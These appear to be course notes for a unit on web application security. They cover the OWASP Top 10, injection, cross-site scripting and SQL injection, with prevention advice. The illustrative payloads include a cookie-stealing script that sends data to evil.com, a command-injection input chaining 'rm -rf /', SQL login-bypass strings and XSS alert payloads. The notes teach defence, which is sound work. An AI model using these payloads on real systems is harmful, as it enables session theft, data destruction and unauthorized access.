UNIT-4

Web Application Security Vulnerabilities

Syllabus:- Web Application Security Vulnerabilities:

Overview of top web application security
vulnerabilities, Injection vulnerabilities, cross-Site
scripting vulnerabilities, the rest of the OWASP Top
Ten SQL Injection vulnerabilities.

Overview of top web application security

vulnerabilities
(OWASP Top 10)

The
OWASP Top 10 is a widely accepted list of the most critical web application
security risks. It is updated regularly by the Open Web Application Security
Project (OWASP).
The latest list includes:

UNIT-4 1
 1. Broken Access Control
Access control ensures users can only access resources they’re allowed to.
When this is broken, attackers can act as admins, view other users' data, or
perform unauthorized actions. This typically happens due to missing or
incorrect permission checks.

Developers often rely too much on frontend controls (like hiding buttons)
instead of enforcing security on the server side. Attackers can bypass
client-side restrictions using tools like Burp Suite or by editing API requests.

Access control must be enforced server-side using proper role checks and
tested with all possible user roles. Sensitive endpoints should require
authentication and authorization.

Example: A normal user accesses /admin/dashboard and views admin data

because no role validation exists.

UNIT-4 2
 2. Cryptographic Failures
Cryptographic failures occur when sensitive data is exposed due to weak or
missing encryption. This includes storing passwords in plain text or using
outdated algorithms like MD5. Attackers can easily steal and misuse this
information.

Common mistakes include hardcoded keys, improper key management, or

using HTTP instead of HTTPS. Even strong encryption is useless if
implemented incorrectly.

To prevent this, use industry-standard encryption (e.g., AES-256), store

hashed passwords using algorithms like bcrypt or Argon2, and use HTTPS
for all data transmission.

Example: A login system stores user passwords in plain text in the database,
which gets leaked during a breach.

UNIT-4 3
 3. Injection Attacks
Injection vulnerabilities occur when user input is improperly handled and
sent directly into interpreters like SQL, OS, or LDAP. Attackers can inject
commands that change queries or execute system functions.

The most common is SQL Injection, where attackers modify queries to

bypass authentication or read unauthorized data. Command Injection
targets OS commands via system calls.

Prevent injection attacks by using prepared statements, input validation,

escaping special characters, and avoiding direct command execution from
input.

Example: Inputting admin' OR '1'='1 into a login form allows bypassing

authentication if the query is vulnerable.

UNIT-4 4
 4. Insecure Design
Insecure design refers to flaws in the system’s architecture, not just in its
code. It happens when security is not considered during the design phase
of an application. This leads to logic flaws or missing protections.

Features that allow unrestricted file uploads or weak password policies are
examples of poor design. These aren't coding bugs—they’re decisions
made early in development.

Mitigation includes threat modeling, using secure design patterns, and

involving security teams during development planning.

Example: A file upload feature doesn’t restrict file types or scan files, allowing
attackers to upload malware.

UNIT-4 5
 5. Security Misconfiguration
This occurs when applications, servers, or databases are set up insecurely.
Examples include default credentials, open ports, unnecessary services
running, or revealing error messages.

Many breaches happen due to unpatched software or exposed admin

interfaces. Misconfigurations make it easier for attackers to gain access
without exploiting code.

Regular audits, secure configurations, disabling unused features, and hiding

error messages help prevent this.

Example: Leaving a default “admin/admin” login on a public web interface

allows anyone to log in.

UNIT-4 6
 6. Vulnerable and Outdated Components
Using outdated software, libraries, or plugins introduces known
vulnerabilities that attackers can exploit. Developers often forget to update
dependencies, leaving systems at risk.

Many attackers scan for known CVEs in outdated libraries. A single

vulnerable component can compromise the entire application.

Prevent this by regularly updating libraries, using tools like OWASP

Dependency-Check, and removing unused components.

Example: A website still uses a jQuery version with an XSS vulnerability,

allowing attackers to inject scripts.

UNIT-4 7
 7. Identification and Authentication
Failures
These happen when login systems are weak or poorly implemented. It
includes weak passwords, missing account lockout, or insecure session
handling.

Attackers can brute-force logins or hijack sessions if protections like rate-

limiting and multi-factor authentication aren’t in place. Improper session
expiration can also lead to unauthorized access.

Use strong password policies, MFA, and secure session handling to prevent
this.

Example: A login page has no rate limit, allowing attackers to try thousands of
password combinations without being blocked.

UNIT-4 8
 8. Software and Data Integrity Failures
This refers to trusting software updates, libraries, or scripts without
checking their integrity. Attackers can tamper with these resources to
execute malicious code.

If an application automatically downloads code or data from external

sources without verification, it risks integrity failures and potential
backdoors.

Use code signing, checksums, and trusted sources for updates and
dependencies.

Example: A web app loads a script from an external CDN without integrity
checks. If that CDN is compromised, attackers can inject malicious code.

9. Security Logging and Monitoring

Failures

UNIT-4 9
 If an application doesn’t log important security events or monitor them,
attacks can go undetected. Without proper logging, it’s hard to investigate
incidents.

This includes not logging failed login attempts, privilege escalations, or

system errors. Lack of monitoring tools makes breach detection slow.

Use centralized logging systems, monitor suspicious activity, and alert on

unusual behavior.

Example: An attacker brute-forces a login, but failed attempts are not logged,
and no alerts are triggered.

10. Server-Side Request Forgery (SSRF)

SSRF allows attackers to make the server send requests to internal or
external resources. It can be used to access internal systems not exposed
to the internet.

Applications with URL fetchers or importers that don’t validate input are
vulnerable. Attackers can use SSRF to scan internal ports or access cloud
metadata.

To prevent SSRF, validate and whitelist URLs, and isolate internal systems.

Example: A URL import feature fetches an attacker-supplied link like

http://127.0.0.1/admin , allowing access to internal admin panels.

UNIT-4 10
 Reference:- OWASP TOP 10

Injection Vulnerabilities
Injection vulnerabilities occur when untrusted user input is passed directly
into a command or query interpreter (like SQL, OS shell, or LDAP) without
proper validation or sanitization. These flaws allow attackers to craft input
that alters the intended behavior of the application, often leading to
unauthorized access or control over the system.

One of the most common types is SQL Injection (SQLi). It happens when an
attacker inputs SQL code into a field (like a login form) to manipulate
database queries. For example, if the application runs:

SELECT * FROM users WHERE username = '$input';

And the attacker enters ' OR '1'='1 , the query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1';

This condition always returns true, potentially bypassing authentication and

granting access.

Another type is Command Injection, where an application executes

system-level commands using user input. If not handled safely, attackers
can run arbitrary OS commands. For example, a vulnerable code like:

UNIT-4 11
 os.system("ping " + user_input)

If the attacker enters 127.0.0.1 && rm -rf / , it can cause system destruction.

Injection attacks are dangerous because they can lead to data leakage,
account compromise, or full system takeover. These attacks are often
automated using tools like SQLMap or Commix.

To prevent injection vulnerabilities:

Use prepared statements or parameterized queries

Validate and sanitize all user inputs

Avoid dynamic code execution from user input

Injection vulnerabilities are ranked high in OWASP due to their impact and
frequency in real-world attacks.

Cross-Site scripting vulnerabilities

Cross-Site Scripting (XSS) occurs when a web application includes
untrusted user input in a webpage without properly validating or escaping
it. This allows attackers to inject and execute malicious JavaScript code in
the browser of other users. XSS attacks can lead to session hijacking,
defacement, redirection to malicious sites, or even full account takeover.

There are three main types of XSS:

UNIT-4 12
 1. Stored XSS

Stored (or Persistent) XSS happens when the malicious script is permanently
stored on the server — typically in a database, message board, or comment
field. When other users access the stored content, the script executes in their
browser.

🧪 Example:
UNIT-4 13
 An attacker posts a comment:

<script>document.location='http://evil.com/steal?cookie='+document.coo
kie</script>

When other users view the comment, their cookies are sent to the attacker's
site.

2. Reflected XSS
Reflected XSS occurs when the script is immediately reflected from the server
response, often via URL parameters or form submissions.

🧪 Example:
A malicious link:

http://example.com/search?q=<script>alert('XSS')</script>

If the site reflects q directly into the page, the alert box will execute.

3. DOM-Based XSS

UNIT-4 14
 DOM-based XSS happens when the vulnerability is in the JavaScript code
running in the browser, not the server. The script reads from the DOM (like
window.location.hash ) and writes it to the page insecurely.

🧪 Example:
document.body.innerHTML = location.hash;

Visiting site.com/#<script>alert(1)</script> will execute the script in the browser.

🔒 Prevention:
Sanitize and encode user input

Use security libraries (e.g., DOMPurify)

Implement Content Security Policy (CSP)

The Rest of the OWASP Top Ten SQL

Injection vulnerabilities

UNIT-4 15
 SQL Injection (SQLi) is a type of injection attack that allows attackers to
manipulate SQL queries by inserting malicious SQL code into user input
fields. If a web application doesn’t properly validate input, an attacker can
bypass login systems, access unauthorized data, or even delete entire
databases.

Example of vulnerable code:

SELECT * FROM users WHERE username = '$input' AND password = '$pas

s';

If the attacker inputs: ' OR '1'='1 , the query becomes always true.
Types of SQLi:

1. Classic SQLi :- Directly displays database output on the web page, allowing
visible query manipulation.

2. Blind SQLi :- No visible output; attacker infers results based on

application behavior (e.g., true/false responses).

3. Time-based Blind SQLi:- Uses time delays (e.g., SLEEP() ) to infer database
responses when no output is shown.

4. Out-of-Band SQLi:- Uses external channels (like DNS or HTTP requests)

to retrieve data when normal methods don’t work.

SQLi can result in:

Unauthorized data access

Data modification/deletion

Full system compromise

Prevention Techniques:

Use Prepared Statements/Parameterized Queries

Input validation and sanitization

Least privilege access to the database

Use of ORM (Object Relational Mapping) frameworks

SQL Injection is one of the oldest yet most dangerous vulnerabilities, and it's
still frequently exploited in real-world attacks.

UNIT-4 16
 Conclusion
This unit provides essential knowledge about common web application
security vulnerabilities, including injection flaws, cross-site scripting
(XSS), and other risks listed in the OWASP Top Ten. Understanding these
vulnerabilities helps in identifying and preventing serious attacks that can
compromise data and systems. By learning how these flaws work and how
attackers exploit them, students and security professionals can better
protect web applications through secure coding practices, proper
validation, and regular security testing.

UNIT-4 17